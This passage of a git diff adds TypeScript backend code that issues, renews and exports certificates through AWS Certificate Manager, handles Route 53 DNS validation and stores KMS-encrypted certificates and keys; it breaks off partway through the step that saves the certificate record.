+import { ACMClient } from "@aws-sdk/client-acm";
+
+import { CustomAWSHasher } from "@app/lib/aws/hashing";
+import { crypto } from "@app/lib/crypto/cryptography";
+import { NotFoundError } from "@app/lib/errors";
+import { TAppConnectionDALFactory } from "@app/services/app-connection/app-connection-dal";
+import { AWSRegion } from "@app/services/app-connection/app-connection-enums";
+import { decryptAppConnection } from "@app/services/app-connection/app-connection-fns";
+import { getAwsConnectionConfig } from "@app/services/app-connection/aws/aws-connection-fns";
+import { TAwsConnection } from "@app/services/app-connection/aws/aws-connection-types";
+import { TKmsServiceFactory } from "@app/services/kms/kms-service";
+
+export const createAcmClient = async ({
+  appConnectionId,
+  region,
+  appConnectionDAL,
+  kmsService
+}: {
+  appConnectionId: string;
+  region: AWSRegion;
+  appConnectionDAL: Pick<TAppConnectionDALFactory, "findById">;
+  kmsService: Pick<
+    TKmsServiceFactory,
+    "encryptWithKmsKey" | "generateKmsKey" | "createCipherPairWithDataKey" | "decryptWithKmsKey"
+  >;
+}) => {
+  const appConnection = await appConnectionDAL.findById(appConnectionId);
+  if (!appConnection) {
+    throw new NotFoundError({ message: `App connection with ID '${appConnectionId}' not found` });
+  }
+
+  const decryptedConnection = (await decryptAppConnection(appConnection, kmsService)) as TAwsConnection;
+  const awsConfig = await getAwsConnectionConfig(decryptedConnection, region);
+
+  return new ACMClient({
+    sha256: CustomAWSHasher,
+    useFipsEndpoint: crypto.isFipsModeEnabled(),
+    credentials: awsConfig.credentials,
+    region: awsConfig.region
+  });
+};
+
+export const resolveDnsAwsConnection = async ({
+  dnsAppConnectionId,
+  appConnectionDAL,
+  kmsService
+}: {
+  dnsAppConnectionId: string;
+  appConnectionDAL: Pick<TAppConnectionDALFactory, "findById">;
+  kmsService: Pick<
+    TKmsServiceFactory,
+    "encryptWithKmsKey" | "generateKmsKey" | "createCipherPairWithDataKey" | "decryptWithKmsKey"
+  >;
+}) => {
+  const dnsAppConnection = await appConnectionDAL.findById(dnsAppConnectionId);
+  if (!dnsAppConnection) {
+    throw new NotFoundError({ message: `DNS app connection with ID '${dnsAppConnectionId}' not found` });
+  }
+  return (await decryptAppConnection(dnsAppConnection, kmsService)) as TAwsConnection;
+};
diff --git a/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-enums.ts b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-enums.ts
new file mode 100644
index 00000000000..c2a669d21e7
--- /dev/null
+++ b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-enums.ts
@@ -0,0 +1,9 @@
+export enum AwsAcmValidationMethod {
+  DNS = "DNS"
+}
+
+/**
+ * ACM public certificates have a fixed validity period (as of 2025).
+ * See: https://docs.aws.amazon.com/acm/latest/userguide/managed-renewal.html
+ */
+export const AWS_ACM_CERTIFICATE_VALIDITY_DAYS = 198;
diff --git a/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-errors.ts b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-errors.ts
new file mode 100644
index 00000000000..66bdf47f292
--- /dev/null
+++ b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-errors.ts
@@ -0,0 +1,15 @@
+/* eslint-disable max-classes-per-file */
+
+export class AcmPendingError extends Error {
+  constructor(message: string) {
+    super(message);
+    this.name = "AcmPendingError";
+  }
+}
+
+export class AcmTerminalError extends Error {
+  constructor(message: string) {
+    super(message);
+    this.name = "AcmTerminalError";
+  }
+}
diff --git a/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-fns.ts b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-fns.ts
new file mode 100644
index 00000000000..d4a44c45300
--- /dev/null
+++ b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-fns.ts
@@ -0,0 +1,865 @@
+/* eslint-disable no-await-in-loop */
+import {
+  ACMClient,
+  CertificateExport,
+  CertificateStatus,
+  DescribeCertificateCommand,
+  ExportCertificateCommand,
+  ListCertificatesCommand,
+  RenewCertificateCommand,
+  RequestCertificateCommand,
+  RevocationReason,
+  RevokeCertificateCommand,
+  ValidationMethod
+} from "@aws-sdk/client-acm";
+import * as x509 from "@peculiar/x509";
+import RE2 from "re2";
+
+import { TableName } from "@app/db/schemas";
+import { crypto } from "@app/lib/crypto/cryptography";
+import { BadRequestError, NotFoundError } from "@app/lib/errors";
+import { ProcessedPermissionRules } from "@app/lib/knex/permission-filter-utils";
+import { logger } from "@app/lib/logger";
+import { OrgServiceActor } from "@app/lib/types";
+import { TAppConnectionDALFactory } from "@app/services/app-connection/app-connection-dal";
+import { AppConnection, AWSRegion } from "@app/services/app-connection/app-connection-enums";
+import { TAppConnectionServiceFactory } from "@app/services/app-connection/app-connection-service";
+import { TCertificateBodyDALFactory } from "@app/services/certificate/certificate-body-dal";
+import { TCertificateDALFactory } from "@app/services/certificate/certificate-dal";
+import { extractCertificateFields } from "@app/services/certificate/certificate-fns";
+import { TCertificateSecretDALFactory } from "@app/services/certificate/certificate-secret-dal";
+import {
+  CertExtendedKeyUsage,
+  CertExtendedKeyUsageOIDToName,
+  CertKeyAlgorithm,
+  CertKeyUsage,
+  CertSignatureAlgorithm,
+  CertStatus,
+  CertSubjectAlternativeNameType,
+  CrlReason
+} from "@app/services/certificate/certificate-types";
+import { ExternalMetadataSchema } from "@app/services/certificate-common/external-metadata-schemas";
+import { TCertificateProfileDALFactory } from "@app/services/certificate-profile/certificate-profile-dal";
+import { TKmsServiceFactory } from "@app/services/kms/kms-service";
+import { TProjectDALFactory } from "@app/services/project/project-dal";
+import { getProjectKmsCertificateKeyId } from "@app/services/project/project-fns";
+
+import { TCertificateAuthorityDALFactory } from "../certificate-authority-dal";
+import { CaStatus, CaType } from "../certificate-authority-enums";
+import { route53GetHostedZone, route53UpsertRecord } from "../dns-providers/route53";
+import { TExternalCertificateAuthorityDALFactory } from "../external-certificate-authority-dal";
+import { createAcmClient, resolveDnsAwsConnection } from "./aws-acm-public-ca-certificate-authority-client";
+import { AwsAcmValidationMethod } from "./aws-acm-public-ca-certificate-authority-enums";
+import { AcmPendingError, AcmTerminalError } from "./aws-acm-public-ca-certificate-authority-errors";
+import {
+  TAwsAcmPublicCaCertificateAuthority,
+  TCreateAwsAcmPublicCaCertificateAuthorityDTO,
+  TUpdateAwsAcmPublicCaCertificateAuthorityDTO
+} from "./aws-acm-public-ca-certificate-authority-types";
+import {
+  buildIdempotencyToken,
+  generateAcmPassphrase,
+  mapCertKeyAlgorithmToAcm,
+  validateAcmIssuanceInputs
+} from "./aws-acm-public-ca-certificate-authority-validators";
+
+const CRL_REASON_TO_ACM_REVOCATION_REASON_MAP: Record<CrlReason, RevocationReason> = {
+  [CrlReason.UNSPECIFIED]: RevocationReason.UNSPECIFIED,
+  [CrlReason.KEY_COMPROMISE]: RevocationReason.KEY_COMPROMISE,
+  [CrlReason.CA_COMPROMISE]: RevocationReason.CA_COMPROMISE,
+  [CrlReason.AFFILIATION_CHANGED]: RevocationReason.AFFILIATION_CHANGED,
+  [CrlReason.SUPERSEDED]: RevocationReason.SUPERSEDED,
+  [CrlReason.CESSATION_OF_OPERATION]: RevocationReason.CESSATION_OF_OPERATION,
+  [CrlReason.CERTIFICATE_HOLD]: RevocationReason.CERTIFICATE_HOLD,
+  [CrlReason.PRIVILEGE_WITHDRAWN]: RevocationReason.PRIVILEGE_WITHDRAWN,
+  [CrlReason.A_A_COMPROMISE]: RevocationReason.A_A_COMPROMISE
+};
+
+type TAwsAcmPublicCaCertificateAuthorityFnsDeps = {
+  appConnectionDAL: Pick<TAppConnectionDALFactory, "findById" | "updateById">;
+  appConnectionService: Pick<TAppConnectionServiceFactory, "validateAppConnectionUsageById">;
+  certificateAuthorityDAL: Pick<
+    TCertificateAuthorityDALFactory,
+    "create" | "transaction" | "findByIdWithAssociatedCa" | "updateById" | "findWithAssociatedCa" | "findById"
+  >;
+  externalCertificateAuthorityDAL: Pick<TExternalCertificateAuthorityDALFactory, "create" | "update">;
+  certificateDAL: Pick<TCertificateDALFactory, "create" | "findById" | "findOne" | "transaction" | "updateById">;
+  certificateBodyDAL: Pick<TCertificateBodyDALFactory, "create">;
+  certificateSecretDAL: Pick<TCertificateSecretDALFactory, "create">;
+  kmsService: Pick<
+    TKmsServiceFactory,
+    "encryptWithKmsKey" | "generateKmsKey" | "createCipherPairWithDataKey" | "decryptWithKmsKey"
+  >;
+  projectDAL: Pick<TProjectDALFactory, "findById" | "findOne" | "updateById" | "transaction">;
+  certificateProfileDAL?: Pick<TCertificateProfileDALFactory, "findByIdWithConfigs">;
+};
+
+export const castDbEntryToAwsAcmPublicCaCertificateAuthority = (
+  ca: Awaited<ReturnType<TCertificateAuthorityDALFactory["findByIdWithAssociatedCa"]>>
+): TAwsAcmPublicCaCertificateAuthority => {
+  if (!ca.externalCa?.id) {
+    throw new BadRequestError({ message: "Malformed AWS ACM Public Certificate Authority" });
+  }
+
+  if (!ca.externalCa.appConnectionId) {
+    throw new BadRequestError({
+      message: "AWS app connection ID is missing from certificate authority configuration"
+    });
+  }
+
+  const configuration = ca.externalCa.configuration as {
+    dnsAppConnectionId?: string;
+    hostedZoneId?: string;
+    region: AWSRegion;
+  };
+
+  if (!configuration.region || !configuration.dnsAppConnectionId || !configuration.hostedZoneId) {
+    throw new BadRequestError({
+      message: "AWS ACM configuration is incomplete — region, Route 53 connection, and hosted zone ID are required"
+    });
+  }
+
+  return {
+    id: ca.id,
+    type: CaType.AWS_ACM_PUBLIC_CA,
+    enableDirectIssuance: ca.enableDirectIssuance,
+    name: ca.name,
+    projectId: ca.projectId,
+    configuration: {
+      appConnectionId: ca.externalCa.appConnectionId,
+      dnsAppConnectionId: configuration.dnsAppConnectionId,
+      hostedZoneId: configuration.hostedZoneId,
+      region: configuration.region
+    },
+    status: ca.status as CaStatus
+  };
+};
+
+export const AwsAcmPublicCaCertificateAuthorityFns = ({
+  appConnectionDAL,
+  appConnectionService,
+  certificateAuthorityDAL,
+  externalCertificateAuthorityDAL,
+  certificateDAL,
+  certificateBodyDAL,
+  certificateSecretDAL,
+  kmsService,
+  projectDAL,
+  certificateProfileDAL
+}: TAwsAcmPublicCaCertificateAuthorityFnsDeps) => {
+  const validateAwsConnection = async ({
+    appConnectionId,
+    dnsAppConnectionId,
+    projectId,
+    actor
+  }: {
+    appConnectionId: string;
+    dnsAppConnectionId?: string;
+    projectId: string;
+    actor: OrgServiceActor;
+  }) => {
+    const appConnection = await appConnectionDAL.findById(appConnectionId);
+    if (!appConnection) {
+      throw new NotFoundError({ message: `App connection with ID '${appConnectionId}' not found` });
+    }
+    if (appConnection.app !== AppConnection.AWS) {
+      throw new BadRequestError({
+        message: `App connection with ID '${appConnectionId}' is not an AWS connection`
+      });
+    }
+    await appConnectionService.validateAppConnectionUsageById(
+      appConnection.app as AppConnection,
+      { connectionId: appConnectionId, projectId },
+      actor
+    );
+
+    if (dnsAppConnectionId && dnsAppConnectionId !== appConnectionId) {
+      const dnsAppConnection = await appConnectionDAL.findById(dnsAppConnectionId);
+      if (!dnsAppConnection) {
+        throw new NotFoundError({ message: `DNS app connection with ID '${dnsAppConnectionId}' not found` });
+      }
+      if (dnsAppConnection.app !== AppConnection.AWS) {
+        throw new BadRequestError({
+          message: `DNS app connection with ID '${dnsAppConnectionId}' is not an AWS connection`
+        });
+      }
+      await appConnectionService.validateAppConnectionUsageById(
+        dnsAppConnection.app as AppConnection,
+        { connectionId: dnsAppConnectionId, projectId },
+        actor
+      );
+    }
+  };
+
+  const createCertificateAuthority = async ({
+    name,
+    projectId,
+    configuration,
+    actor,
+    status
+  }: {
+    status: CaStatus;
+    name: string;
+    projectId: string;
+    configuration: TCreateAwsAcmPublicCaCertificateAuthorityDTO["configuration"];
+    actor: OrgServiceActor;
+  }) => {
+    const { appConnectionId, dnsAppConnectionId, hostedZoneId, region } = configuration;
+
+    await validateAwsConnection({ appConnectionId, dnsAppConnectionId, projectId, actor });
+
+    // Smoke-test both connections up front — ACM via ListCertificates (no single "get CA" resource),
+    // and Route 53 via GetHostedZone so a misconfigured DNS connection / wrong zone ID fails
+    // synchronously here instead of mid-issuance.
+    const acmClient = await createAcmClient({ appConnectionId, region, appConnectionDAL, kmsService });
+    try {
+      await acmClient.send(new ListCertificatesCommand({ MaxItems: 1 }));
+    } catch (error) {
+      throw new BadRequestError({
+        message: `Failed to reach AWS Certificate Manager: ${error instanceof Error ? error.message : "Unknown error"}`
+      });
+    }
+
+    const dnsConnection = await resolveDnsAwsConnection({ dnsAppConnectionId, appConnectionDAL, kmsService });
+    try {
+      await route53GetHostedZone(dnsConnection, hostedZoneId);
+    } catch (error) {
+      throw new BadRequestError({
+        message: `Failed to access Route 53 hosted zone: ${error instanceof Error ? error.message : "Unknown error"}`
+      });
+    }
+
+    const caEntity = await certificateAuthorityDAL.transaction(async (tx) => {
+      try {
+        const ca = await certificateAuthorityDAL.create(
+          {
+            projectId,
+            enableDirectIssuance: false,
+            name,
+            status
+          },
+          tx
+        );
+
+        await externalCertificateAuthorityDAL.create(
+          {
+            caId: ca.id,
+            appConnectionId,
+            type: CaType.AWS_ACM_PUBLIC_CA,
+            configuration: {
+              dnsAppConnectionId,
+              hostedZoneId,
+              region
+            }
+          },
+          tx
+        );
+
+        return await certificateAuthorityDAL.findByIdWithAssociatedCa(ca.id, tx);
+      } catch (error) {
+        // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access, @typescript-eslint/no-explicit-any
+        if ((error as any)?.error?.code === "23505") {
+          throw new BadRequestError({
+            message: "Certificate authority with the same name already exists in your project"
+          });
+        }
+        throw error;
+      }
+    });
+
+    if (!caEntity.externalCa?.id) {
+      throw new BadRequestError({ message: "Failed to create external certificate authority" });
+    }
+
+    return castDbEntryToAwsAcmPublicCaCertificateAuthority(caEntity);
+  };
+
+  const updateCertificateAuthority = async ({
+    id,
+    status,
+    configuration,
+    actor,
+    name
+  }: {
+    id: string;
+    status?: CaStatus;
+    configuration: TUpdateAwsAcmPublicCaCertificateAuthorityDTO["configuration"];
+    actor: OrgServiceActor;
+    name?: string;
+  }) => {
+    if (configuration) {
+      const { appConnectionId, dnsAppConnectionId, hostedZoneId, region } = configuration;
+
+      const ca = await certificateAuthorityDAL.findById(id);
+      if (!ca) {
+        throw new NotFoundError({ message: `Could not find Certificate Authority with ID "${id}"` });
+      }
+
+      await validateAwsConnection({ appConnectionId, dnsAppConnectionId, projectId: ca.projectId, actor });
+
+      const acmClient = await createAcmClient({ appConnectionId, region, appConnectionDAL, kmsService });
+      try {
+        await acmClient.send(new ListCertificatesCommand({ MaxItems: 1 }));
+      } catch (error) {
+        throw new BadRequestError({
+          message: `Failed to reach AWS Certificate Manager: ${error instanceof Error ? error.message : "Unknown error"}`
+        });
+      }
+
+      const dnsConnection = await resolveDnsAwsConnection({ dnsAppConnectionId, appConnectionDAL, kmsService });
+      try {
+        await route53GetHostedZone(dnsConnection, hostedZoneId);
+      } catch (error) {
+        throw new BadRequestError({
+          message: `Failed to access Route 53 hosted zone: ${error instanceof Error ? error.message : "Unknown error"}`
+        });
+      }
+    }
+
+    const updatedCa = await certificateAuthorityDAL.transaction(async (tx) => {
+      if (configuration) {
+        await externalCertificateAuthorityDAL.update(
+          {
+            caId: id,
+            type: CaType.AWS_ACM_PUBLIC_CA
+          },
+          {
+            appConnectionId: configuration.appConnectionId,
+            configuration: {
+              dnsAppConnectionId: configuration.dnsAppConnectionId,
+              hostedZoneId: configuration.hostedZoneId,
+              region: configuration.region
+            }
+          },
+          tx
+        );
+      }
+
+      if (name || status) {
+        await certificateAuthorityDAL.updateById(
+          id,
+          {
+            name,
+            status
+          },
+          tx
+        );
+      }
+
+      return certificateAuthorityDAL.findByIdWithAssociatedCa(id, tx);
+    });
+
+    if (!updatedCa.externalCa?.id) {
+      throw new BadRequestError({ message: "Failed to update external certificate authority" });
+    }
+
+    return castDbEntryToAwsAcmPublicCaCertificateAuthority(updatedCa);
+  };
+
+  const listCertificateAuthorities = async ({
+    projectId,
+    permissionFilters
+  }: {
+    projectId: string;
+    permissionFilters?: ProcessedPermissionRules;
+  }) => {
+    const cas = await certificateAuthorityDAL.findWithAssociatedCa(
+      {
+        [`${TableName.CertificateAuthority}.projectId` as "projectId"]: projectId,
+        [`${TableName.ExternalCertificateAuthority}.type` as "type"]: CaType.AWS_ACM_PUBLIC_CA
+      },
+      {},
+      permissionFilters
+    );
+
+    return cas.map(castDbEntryToAwsAcmPublicCaCertificateAuthority);
+  };
+
+  /**
+   * Issues (or renews) a certificate from AWS Certificate Manager.
+   *
+   * Idempotent via AWS's IdempotencyToken: retrying the same certificateId within
+   * AWS's 1-hour window returns the same certificate ARN, so we don't need to persist
+   * intermediate state across retries. The cert record is only created when everything
+   * completes, in a single DB transaction. If DNS validation is still pending, this
+   * function throws AcmPendingError and the queue retries.
+   */
+  const orderCertificateFromProfile = async ({
+    caId,
+    profileId,
+    commonName,
+    altNames = [],
+    keyAlgorithm = CertKeyAlgorithm.RSA_2048,
+    isRenewal,
+    originalCertificateId,
+    certificateId,
+    csr,
+    validity,
+    organization,
+    organizationalUnit,
+    country,
+    state,
+    locality,
+    keyUsages = [],
+    extendedKeyUsages = []
+  }: {
+    caId: string;
+    profileId: string;
+    commonName: string;
+    altNames?: Array<{ type: CertSubjectAlternativeNameType; value: string }>;
+    keyAlgorithm?: CertKeyAlgorithm;
+    isRenewal?: boolean;
+    originalCertificateId?: string;
+    certificateId: string;
+    csr?: string;
+    validity?: { ttl?: string };
+    organization?: string;
+    organizationalUnit?: string;
+    country?: string;
+    state?: string;
+    locality?: string;
+    keyUsages?: string[];
+    extendedKeyUsages?: string[];
+  }) => {
+    validateAcmIssuanceInputs({
+      csr,
+      keyAlgorithm,
+      altNames,
+      ttl: validity?.ttl,
+      organization,
+      organizationalUnit,
+      country,
+      state,
+      locality,
+      isRenewal
+    });
+
+    if (keyUsages.length > 0 || extendedKeyUsages.length > 0) {
+      logger.info(
+        `[caId=${caId}] AWS ACM overrides caller-specified key usages and extended key usages with its own current policy.`
+      );
+    }
+
+    const ca = await certificateAuthorityDAL.findByIdWithAssociatedCa(caId);
+    if (!ca.externalCa || ca.externalCa.type !== CaType.AWS_ACM_PUBLIC_CA) {
+      throw new BadRequestError({ message: "CA is not an AWS ACM Public Certificate Authority" });
+    }
+
+    const acmCa = castDbEntryToAwsAcmPublicCaCertificateAuthority(ca);
+    if (acmCa.status !== CaStatus.ACTIVE) {
+      throw new BadRequestError({ message: "CA is disabled" });
+    }
+
+    const { appConnectionId, dnsAppConnectionId, hostedZoneId, region } = acmCa.configuration;
+
+    // ACM ARNs are region-locked. On renewal this gets overwritten with the original
+    // cert's region so the stored metadata stays consistent with the ARN even if the
+    // CA's configured region was edited between issuance and renewal.
+    let issuanceRegion: AWSRegion = region;
+
+    const certificateManagerKmsId = await getProjectKmsCertificateKeyId({
+      projectId: ca.projectId,
+      projectDAL,
+      kmsService
+    });
+
+    const kmsEncryptor = await kmsService.encryptWithKmsKey({ kmsId: certificateManagerKmsId });
+    let certificateArn: string;
+    let acmClient: ACMClient;
+
+    if (isRenewal && originalCertificateId) {
+      const originalCert = await certificateDAL.findById(originalCertificateId);
+      if (!originalCert) {
+        throw new BadRequestError({ message: `Original certificate ${originalCertificateId} not found` });
+      }
+      const parsedMetadata = ExternalMetadataSchema.safeParse(originalCert.externalMetadata);
+      if (
+        !parsedMetadata.success ||
+        parsedMetadata.data.type !== CaType.AWS_ACM_PUBLIC_CA ||
+        !parsedMetadata.data.arn
+      ) {
+        throw new BadRequestError({
+          message: "Original certificate is missing AWS ACM metadata — cannot renew"
+        });
+      }
+      certificateArn = parsedMetadata.data.arn;
+      issuanceRegion = parsedMetadata.data.region;
+
+      acmClient = await createAcmClient({
+        appConnectionId,
+        region: issuanceRegion,
+        appConnectionDAL,
+        kmsService
+      });
+
+      const describe = await acmClient.send(new DescribeCertificateCommand({ CertificateArn: certificateArn }));
+      const detail = describe.Certificate;
+      if (!detail) {
+        throw new BadRequestError({ message: `ACM did not return details for certificate ${certificateArn}` });
+      }
+      // ACM serials may come back colon-separated hex (e.g., "0a:1b:..."), our DB stores plain hex —
+      // normalize both before comparing.
+      const normalizeSerial = (s?: string | null) => s?.split(":").join("").toLowerCase() ?? "";
+      const storedSerial = normalizeSerial(originalCert.serialNumber);
+      const awsSerial = normalizeSerial(detail.Serial);
+      const alreadyRenewedByAws = Boolean(awsSerial && storedSerial && awsSerial !== storedSerial);
+
+      if (!alreadyRenewedByAws) {
+        if (detail.DomainValidationOptions) {
+          const dnsConnection = await resolveDnsAwsConnection({
+            dnsAppConnectionId,
+            appConnectionDAL,
+            kmsService
+          });
+          for (const dv of detail.DomainValidationOptions) {
+            if (dv.ResourceRecord?.Name && dv.ResourceRecord?.Value) {
+              await route53UpsertRecord(dnsConnection, hostedZoneId, {
+                name: dv.ResourceRecord.Name,
+                type: "CNAME",
+                value: dv.ResourceRecord.Value
+              });
+            }
+          }
+        }
+
+        const renewalInProgress = detail.RenewalSummary?.RenewalStatus === "PENDING_VALIDATION";
+        if (!renewalInProgress) {
+          await acmClient.send(new RenewCertificateCommand({ CertificateArn: certificateArn }));
+        }
+
+        const afterRenew = await acmClient.send(new DescribeCertificateCommand({ CertificateArn: certificateArn }));
+        const renewStatus = afterRenew.Certificate?.RenewalSummary?.RenewalStatus;
+        if (renewStatus === "FAILED") {
+          throw new AcmTerminalError(`AWS ACM renewal failed for ${certificateArn}`);
+        }
+        // ExportCertificate keeps returning the original cert until ACM has fully re-issued the
+        // renewed one. Serial number changing is the ground-truth signal that a new cert body
+        // exists; NotAfter and RenewalStatus can lag or be misleading.
+        const newSerial = normalizeSerial(afterRenew.Certificate?.Serial);
+        const renewalComplete = Boolean(newSerial && storedSerial && newSerial !== storedSerial);
+        if (!renewalComplete) {
+          throw new AcmPendingError(
+            `AWS ACM renewal for ${certificateArn} has not completed yet (status=${renewStatus ?? "unknown"}) — will retry`
+          );
+        }
+      }
+    } else {
+      // New issuance — use the CA's configured region.
+      acmClient = await createAcmClient({ appConnectionId, region, appConnectionDAL, kmsService });
+
+      const domainName = commonName || (altNames.length > 0 ? altNames[0].value : "");
+      if (!domainName) {
+        throw new BadRequestError({ message: "AWS ACM requires a DomainName (common name or first SAN)" });
+      }
+      const subjectAlternativeNames = altNames.map((s) => s.value);
+
+      const idempotencyToken = buildIdempotencyToken(certificateId);
+
+      const requestResult = await acmClient.send(
+        new RequestCertificateCommand({
+          DomainName: domainName,
+          SubjectAlternativeNames: subjectAlternativeNames.length > 0 ? subjectAlternativeNames : undefined,
+          KeyAlgorithm: mapCertKeyAlgorithmToAcm(keyAlgorithm),
+          ValidationMethod: ValidationMethod.DNS,
+          IdempotencyToken: idempotencyToken,
+          Options: { Export: CertificateExport.ENABLED }
+        })
+      );
+
+      if (!requestResult.CertificateArn) {
+        throw new BadRequestError({ message: "AWS ACM did not return a certificate ARN" });
+      }
+      certificateArn = requestResult.CertificateArn;
+
+      const describe = await acmClient.send(new DescribeCertificateCommand({ CertificateArn: certificateArn }));
+      const detail = describe.Certificate;
+      if (!detail) {
+        throw new BadRequestError({ message: `ACM did not return details for certificate ${certificateArn}` });
+      }
+
+      if (detail.DomainValidationOptions) {
+        const dnsConnection = await resolveDnsAwsConnection({
+          dnsAppConnectionId,
+          appConnectionDAL,
+          kmsService
+        });
+        for (const dv of detail.DomainValidationOptions) {
+          if (dv.ResourceRecord?.Name && dv.ResourceRecord?.Value) {
+            await route53UpsertRecord(dnsConnection, hostedZoneId, {
+              name: dv.ResourceRecord.Name,
+              type: "CNAME",
+              value: dv.ResourceRecord.Value
+            });
+          }
+        }
+      }
+
+      if (detail.Status === CertificateStatus.PENDING_VALIDATION) {
+        throw new AcmPendingError(`AWS ACM certificate ${certificateArn} is still pending DNS validation — will retry`);
+      }
+      if (
+        detail.Status === CertificateStatus.FAILED ||
+        detail.Status === CertificateStatus.VALIDATION_TIMED_OUT ||
+        detail.Status === CertificateStatus.REVOKED ||
+        detail.Status === CertificateStatus.EXPIRED
+      ) {
+        throw new AcmTerminalError(`AWS ACM certificate ${certificateArn} is in terminal status: ${detail.Status}`);
+      }
+    }
+
+    const passphrase = generateAcmPassphrase();
+    let exportResult;
+    try {
+      exportResult = await acmClient.send(
+        new ExportCertificateCommand({
+          CertificateArn: certificateArn,
+          Passphrase: Buffer.from(passphrase, "utf8")
+        })
+      );
+    } catch (error) {
+      // Right after RenewCertificate succeeds, ACM sometimes hasn't fully established the export
+      // relation for the renewed cert body yet and returns "must have at least one relation of type
+      // EXPORT". This is transient — let the queue retry loop handle it.
+      if (error instanceof Error && new RE2("relation of type EXPORT", "i").test(error.message)) {
+        throw new AcmPendingError(
+          `AWS ACM export not yet available for ${certificateArn} (${error.message}) — will retry`
+        );
+      }
+      throw error;
+    }
+
+    if (!exportResult.Certificate || !exportResult.PrivateKey) {
+      throw new BadRequestError({
+        message: `AWS ACM ExportCertificate did not return certificate body or private key for ${certificateArn}`
+      });
+    }
+
+    const certificatePem = exportResult.Certificate;
+    const certificateChainPem = exportResult.CertificateChain || "";
+    const encryptedPrivateKeyPem = exportResult.PrivateKey;
+
+    // Decrypt AWS's encrypted private key with the ephemeral passphrase, then re-serialize as plain PKCS8.
+    const privateKeyObj = crypto.nativeCrypto.createPrivateKey({
+      key: encryptedPrivateKeyPem,
+      format: "pem",
+      passphrase
+    });
+    const privateKeyPem = privateKeyObj.export({ format: "pem", type: "pkcs8" }) as string;
+
+    let certObj: x509.X509Certificate;
+    try {
+      certObj = new x509.X509Certificate(certificatePem);
+    } catch (error) {
+      throw new BadRequestError({
+        message: `Failed to parse certificate from AWS ACM: ${error instanceof Error ? error.message : "Unknown error"}`
+      });
+    }
+
+    const { cipherTextBlob: encryptedCertificate } = await kmsEncryptor({
+      plainText: Buffer.from(new Uint8Array(certObj.rawData))
+    });
+
+    const { cipherTextBlob: encryptedCertificateChain } = await kmsEncryptor({
+      plainText: Buffer.from(certificateChainPem)
+    });
+
+    const { cipherTextBlob: encryptedPrivateKey } = await kmsEncryptor({
+      plainText: Buffer.from(privateKeyPem)
+    });
+
+    const parsedFields = extractCertificateFields(Buffer.from(certificatePem));
+
+    // Extract key usages and extended key usages from the certificate ACM actually issued —
+    // ACM applies its own policy and revises it over time, so the request is not the source of truth.
+    let issuedKeyUsages: CertKeyUsage[] = [];
+    const keyUsagesExt = certObj.getExtension(x509.KeyUsagesExtension);
+    if (keyUsagesExt) {
+      issuedKeyUsages = Object.values(CertKeyUsage).filter(
+        // eslint-disable-next-line no-bitwise
+        (usage) => (x509.KeyUsageFlags[usage] & keyUsagesExt.usages) !== 0
+      );
+    }
+
+    let issuedExtendedKeyUsages: CertExtendedKeyUsage[] = [];
+    const extKeyUsageExt = certObj.getExtension(x509.ExtendedKeyUsageExtension);
+    if (extKeyUsageExt) {
+      issuedExtendedKeyUsages = extKeyUsageExt.usages
+        .map((oid) => CertExtendedKeyUsageOIDToName[oid as string])
+        .filter(Boolean);
+    }
+
+    // ACM picks the signature algorithm server-side — derive it from the issued cert
+    // so the persisted value matches what was actually signed.
+    const sigAlgName = certObj.signatureAlgorithm.name;
+    const sigHashName = (certObj.signatureAlgorithm as unknown as { hash?: { name: string } }).hash?.name;
+    let issuedSignatureAlgorithm: CertSignatureAlgorithm;
+    if (sigAlgName === "RSASSA-PKCS1-v1_5" && sigHashName === "SHA-256") {
+      issuedSignatureAlgorithm = CertSignatureAlgorithm.RSA_SHA256;
+    } else if (sigAlgName === "RSASSA-PKCS1-v1_5" && sigHashName === "SHA-384") {
+      issuedSignatureAlgorithm = CertSignatureAlgorithm.RSA_SHA384;
+    } else if (sigAlgName === "RSASSA-PKCS1-v1_5" && sigHashName === "SHA-512") {
+      issuedSignatureAlgorithm = CertSignatureAlgorithm.RSA_SHA512;
+    } else if (sigAlgName === "ECDSA" && sigHashName === "SHA-256") {
+      issuedSignatureAlgorithm = CertSignatureAlgorithm.ECDSA_SHA256;
+    } else if (sigAlgName === "ECDSA" && sigHashName === "SHA-384") {
+      issuedSignatureAlgorithm = CertSignatureAlgorithm.ECDSA_SHA384;
+    } else if (sigAlgName === "ECDSA" && sigHashName === "SHA-512") {
+      issuedSignatureAlgorithm = CertSignatureAlgorithm.ECDSA_SHA512;
+    } else {
+      throw new BadRequestError({
+        message: `Unsupported signature algorithm from AWS ACM: ${sigAlgName} with ${sigHashName}`
+      });
+    }
+
+    const externalMetadata = ExternalMetadataSchema.parse({
+      type: CaType.AWS_ACM_PUBLIC_CA,
+      arn: certificateArn,
+      region: issuanceRegion,
+      validationMethod: AwsAcmValidationMethod.DNS
+    });
+
+    let newCertId: string;
+    await certificateDAL.transaction(async (tx) => {
+      const cert = await certificateDAL.create(
+        {
+          caId: ca.id,
+          profileId,
+          status: CertStatus.ACTIVE,
+          friendlyName: commonName,
+          commonName,
+          altNames: altNames.map((san) => san.value).join(","),
+          serialNumber: certObj.serialNumber,
+          notBefore: certObj.notBefore,
+          notAfter: certObj.notAfter,
+          keyAlgorithm,
+          signatureAlgorithm: issuedSignatureAlgorithm,
+          keyUsages: issuedKeyUsages,
+          extendedKeyUsages: issuedExtendedKeyUsages,
+          projectId: ca.projectId,
+          externalMetadata,
+          renewedFromCertificateId: isRenewal && originalCertificateId ? originalCertificateId : null,
+          ...parsedFields
+        },
+        tx
+      );
+
+      newCertId = cert.id;
+
+      if (isRenewal && originalCertificateId) {
+        await certificateDAL.updateById(originalCertificateId, { renewedByCertificateId: cert.id }, tx);
+      }
+
